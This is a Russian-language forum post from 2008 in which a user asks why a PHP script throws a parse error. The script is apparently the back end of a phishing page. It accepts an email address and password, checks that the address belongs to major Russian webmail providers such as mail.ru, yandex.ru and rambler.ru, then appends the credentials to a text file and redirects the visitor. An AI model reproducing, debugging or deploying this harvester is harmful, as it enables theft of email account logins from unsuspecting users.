Показать сообщение отдельно

  #5600  
Старый 21.09.2008, 19:17
geforce
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
Провел на форуме:
458686

Репутация: -25
Red face

PHP код:
<?php 
$f
="";
$mail[0]="mail.ru";
$mail[1]="list.ru";
$mail[2]="inbox.ru";
$mail[3]="bk.ru";
$mail[4]="yandex.ru";
$mail[5]="rambler.ru";
if ((
$_POST["a"]==$f)or($_POST["b"]==$f)) //проверяет поле на пустоту
   
{header('Location: error1.php');}  
else {
$fs=explode("@",$_POST['a'],2);  //проверяет правильность мыла
   
if (in_array($fs[1],$mail)) 
     {if(isset(
$_POST["a"])&& isset($_POST["b"]))  //делает запись в текстовый файл если выше описаные проверки пройдены         
      
{$fh=fopen("kont.txt","a"); 
        
fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n");          
          
fclose($fh);        
            
header('Location: autor.php');}}} else {header('Location: error2.php');}    
?>
Почему пишет ошибку?
Parse error: syntax error, unexpected T_ELSE in Z:\home\test3.ru\www\prog.php on line 27

Последний раз редактировалось geforce; 21.09.2008 в 20:10..
 
Ответить с цитированием